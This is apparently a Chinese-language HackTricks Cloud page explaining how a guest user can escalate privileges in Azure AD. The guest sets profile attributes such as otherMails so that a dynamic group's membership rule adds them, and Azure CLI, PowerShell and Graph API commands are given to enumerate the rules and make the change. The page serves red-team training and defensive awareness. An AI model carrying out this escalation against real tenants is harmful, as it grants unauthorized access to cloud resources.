Az - 动态组 提权
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
动态组 是一类配置了若干 规则 的组,所有符合这些规则的 用户或设备 会被加入到该组。每当用户或设备的 属性 被 更改 时,动态规则会被 重新检查。当创建 新规则 时,所有设备和用户也会被 检查。
动态组可以被分配 Azure RBAC roles,但无法将 AzureAD roles 添加到动态组。
此功能需要 Azure AD premium P1 许可证。
提权
注意默认情况下任何用户均可在 Azure AD 中邀请来宾,因此,如果动态组的 规则 根据可以在新 来宾 中 设置 的 属性 来授予 权限,那么就可以通过使用这些属性 创建来宾 并 提升权限。来宾还可以管理自己的个人资料并更改这些属性。
获取允许动态成员资格的组:az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
动态组 枚举
获取动态组的规则:
使用 Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
使用 PowerShell 和 Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
示例
- 规则示例:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - 规则描述: 任何具有包含字符串 ‘security’ 的备用邮箱的 Guest 用户将被添加到该组
对于 Guest 用户的邮箱,接受邀请并在 https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
不幸的是,该页面不允许修改属性值,因此我们需要使用 API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
参考资料
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

